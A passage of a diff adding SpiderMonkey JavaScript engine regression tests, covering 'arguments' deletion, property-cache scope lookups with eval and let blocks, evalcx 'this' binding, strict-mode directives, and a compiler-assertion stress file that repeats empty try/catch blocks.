+++ b/js/src/tests/js1_8_5/regress/regress-548276.js
@@ -0,0 +1,10 @@
+// |reftest| skip
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Jason Orendorff
+ */
+var obj = {};
+obj.__defineSetter__("x", function() {});
+obj.watch("x", function() {});
+obj.__defineSetter__("x", /a/);
diff --git a/js/src/tests/js1_8_5/regress/regress-551763-0.js b/js/src/tests/js1_8_5/regress/regress-551763-0.js
new file mode 100644
index 000000000..6aeceac23
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-551763-0.js
@@ -0,0 +1,27 @@
+(function() {
+ var o = {'arguments': 42};
+ with (o) { // Definitely forces heavyweight.
+ // Note syntax is not a property access.
+ reportCompare(delete arguments, true,
+ "arguments property deletion within with block");
+ }
+ reportCompare('arguments' in o, false,
+ "property deletion observable");
+})();
+
+(function() {
+ var o = {'arguments': 42};
+ delete o.arguments;
+ reportCompare('arguments' in o, false,
+ "arguments property deletion with property access syntax");
+})();
+
+(function() {
+ var arguments = 42; // Forces heavyweight.
+ reportCompare(delete arguments, false,
+ "arguments variable");
+})();
+
+(function() {
+ reportCompare(delete arguments, false, "arguments object");
+})();
diff --git a/js/src/tests/js1_8_5/regress/regress-551763-1.js b/js/src/tests/js1_8_5/regress/regress-551763-1.js
new file mode 100644
index 000000000..aced2eb7a
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-551763-1.js
@@ -0,0 +1,7 @@
+// |reftest| skip-if(xulRuntime.shell)
+// skip in the shell because 'arguments' is defined as a shell utility function
+
+/* Check we can delete arguments in the global space. */
+arguments = 42;
+reportCompare(delete arguments, true, "arguments defined as global");
+
diff --git a/js/src/tests/js1_8_5/regress/regress-551763-2.js b/js/src/tests/js1_8_5/regress/regress-551763-2.js
new file mode 100644
index 000000000..500488818
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-551763-2.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(xulRuntime.shell)
+// skip in the shell because 'arguments' is defined as a shell utility function
+
+/* Check we can't delete a var-declared arguments in global space. */
+var arguments = 42;
+reportCompare(delete arguments, false, "arguments defined as global variable");
diff --git a/js/src/tests/js1_8_5/regress/regress-552432.js b/js/src/tests/js1_8_5/regress/regress-552432.js
new file mode 100644
index 000000000..615fd0500
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-552432.js
@@ -0,0 +1,16 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+(function (y) {
+ arguments.y = 2;
+ var x = Object.create(arguments);
+ x[0] = 3;
+ assertEq(x[0], 3);
+ assertEq(x.y, 2);
+ assertEq(y, 1);
+})(1);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-553778.js b/js/src/tests/js1_8_5/regress/regress-553778.js
new file mode 100644
index 000000000..797165e54
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-553778.js
@@ -0,0 +1,16 @@
+/*
+ * This should compile without triggering the following assertion:
+ *
+ * Assertion failure: cg->fun->u.i.skipmin <= skip, at ../jsemit.cpp:2346
+ */
+
+function f() {
+ function g() {
+ function h() {
+ g; x;
+ }
+ var [x] = [];
+ }
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-554955-1.js b/js/src/tests/js1_8_5/regress/regress-554955-1.js
new file mode 100644
index 000000000..80c26b088
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-554955-1.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+ eval(s);
+ return function(a) {
+ var d;
+ {
+ let c = 3;
+ d = function() { a; }; // force Block object to be cloned
+ with({}) {}; // repel JägerMonkey
+ return b; // lookup occurs in scope of Block
+ }
+ };
+}
+
+var b = 1;
+var g1 = f("");
+var g2 = f("var b = 2;");
+
+/* Call the lambda once, caching a reference to the global b. */
+g1(0);
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(g2(0), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-554955-2.js b/js/src/tests/js1_8_5/regress/regress-554955-2.js
new file mode 100644
index 000000000..659b5c877
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-554955-2.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+ eval(s);
+ return function(a) {
+ with({}) {}; // repel JägerMonkey
+ eval(a);
+ return b;
+ };
+}
+
+var b = 1;
+var g1 = f("");
+var g2 = f("var b = 2;");
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use
+ * the global b.
+ */
+assertEq(g2(''), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-554955-3.js b/js/src/tests/js1_8_5/regress/regress-554955-3.js
new file mode 100644
index 000000000..c4e1a60ce
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-554955-3.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+ eval(s);
+ return function(a) {
+ with({}) {}; // repel JägerMonkey
+ eval(a);
+ {
+ let c = 3;
+ return b;
+ };
+ };
+}
+
+var b = 1;
+var g1 = f("");
+var g2 = f("var b = 2;");
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(g2(''), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-554955-4.js b/js/src/tests/js1_8_5/regress/regress-554955-4.js
new file mode 100644
index 000000000..09713c2f9
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-554955-4.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f() {
+ return function(a) {
+ // This eval must take place before the block is cloned, when the
+ // call object is still not marked as a delegate. The scope chain
+ // purge for the JSOP_DEFVAR will not change the global's shape,
+ // and the property cache entry will remain valid.
+ eval(a);
+ {
+ let c = 3;
+ // This eval forces the block to be cloned, so its shape gets
+ // used as the property cache key shape.
+ eval('');
+ return b;
+ };
+ };
+}
+
+var b = 1;
+var g1 = f();
+var g2 = f();
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(g2('var b=2'), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-554955-5.js b/js/src/tests/js1_8_5/regress/regress-554955-5.js
new file mode 100644
index 000000000..dc8769a1f
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-554955-5.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+ if (s) {
+ function b() { }
+ }
+ return function(a) {
+ eval(a);
+ return b;
+ };
+}
+
+var b = 1;
+var g1 = f(false);
+var g2 = f(true);
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(typeof g2(''), "function");
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-554955-6.js b/js/src/tests/js1_8_5/regress/regress-554955-6.js
new file mode 100644
index 000000000..73faaefb0
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-554955-6.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var v="global";
+function f(a) {
+ // This eval could extend f's call object. However, the call object has
+ // not yet been marked as a delegate at this point, so no scope chain
+ // purge takes place when it is extended.
+ eval(a);
+ {
+ let b=3;
+ // This eval causes the cloned block object to be added to the
+ // scope chain. The block needs a unique shape: its parent call
+ // could acquire bindings for anything without affecting the global
+ // object's shape, so it's up to the block's shape to mismatch all
+ // property cache entries for prior blocks.
+ eval("");
+ return v;
+ };
+}
+
+// Call the function once, to cache a reference to the global v from within
+// f's lexical block.
+assertEq("global", f(""));
+
+// Call the function again, adding a binding to the call, and ensure that
+// we do not see any property cache entry created by the previous reference
+// that would direct us to the global definition.
+assertEq("local", f("var v='local'"));
+
+// Similarly,but with a doubly-nested block; make sure everyone gets marked.
+function f2(a) {
+ eval(a);
+ {
+ let b=3;
+ {
+ let c=4;
+ eval("");
+ return v;
+ };
+ };
+}
+
+assertEq("global", f2(""));
+assertEq("local", f2("var v='local'"));
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-555246-0.js b/js/src/tests/js1_8_5/regress/regress-555246-0.js
new file mode 100644
index 000000000..2a4efe052
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-555246-0.js
@@ -0,0 +1,14 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+if (typeof evalcx == 'function') {
+ var cx = evalcx("");
+ evalcx("function f() { return this; }", cx);
+ var f = cx.f;
+ assertEq(f(), cx);
+}
+
+reportCompare(0, 0, "");
diff --git a/js/src/tests/js1_8_5/regress/regress-555246-1.js b/js/src/tests/js1_8_5/regress/regress-555246-1.js
new file mode 100644
index 000000000..c9bd4d0f3
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-555246-1.js
@@ -0,0 +1,18 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+if (typeof evalcx == 'function') {
+ var cx = evalcx("");
+ evalcx("function f() { return this; }", cx);
+ f = cx.f;
+ assertEq(f(), cx);
+
+ evalcx("function g() { 'use strict'; return this; }", cx);
+ g = cx.g;
+ assertEq(g(), undefined);
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-559402-1.js b/js/src/tests/js1_8_5/regress/regress-559402-1.js
new file mode 100644
index 000000000..d37c2bfa7
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-559402-1.js
@@ -0,0 +1,22 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = "No error";
+var actual = expect;
+
+if (typeof options == "function") {
+ var opts = options();
+ if (!/\bstrict\b/.test(opts))
+ options("strict");
+ if (!/\bwerror\b/.test(opts))
+ options("werror");
+}
+
+try {
+ eval('function foo() { "use strict"; }');
+} catch (e) {
+ actual = '' + e;
+}
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-559402-2.js b/js/src/tests/js1_8_5/regress/regress-559402-2.js
new file mode 100644
index 000000000..ca0988cbb
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-559402-2.js
@@ -0,0 +1,8 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = undefined;
+var actual = (function foo() { "bogus"; })();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-559438.js b/js/src/tests/js1_8_5/regress/regress-559438.js
new file mode 100644
index 000000000..c2b440c18
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-559438.js
@@ -0,0 +1,10 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+function f(x) { return 1 + "" + (x + 1); }
+reportCompare("12", f(1), "");
+var g = eval("(" + f + ")");
+reportCompare("12", g(1), "");
diff --git a/js/src/tests/js1_8_5/regress/regress-560998-1.js b/js/src/tests/js1_8_5/regress/regress-560998-1.js
new file mode 100644
index 000000000..4aa25fd7a
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-560998-1.js
@@ -0,0 +1,10 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jesse Ruderman
+
+for (let j = 0; j < 4; ++j) {
+ function g() { j; }
+ g();
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-560998-2.js b/js/src/tests/js1_8_5/regress/regress-560998-2.js
new file mode 100644
index 000000000..24491a1be
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-560998-2.js
@@ -0,0 +1,10 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jason Orendorff <jorendorff@mozilla.com>
+
+var x = {};
+for (var i = 0; i < 2; i++) {
+ Object.defineProperty(x, "y", {configurable: true, value: function () {}});
+ x.y();
+}
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-561031.js b/js/src/tests/js1_8_5/regress/regress-561031.js
new file mode 100644
index 000000000..944a22ee1
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-561031.js
@@ -0,0 +1,1830 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Gary Kwong
+ */
+
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
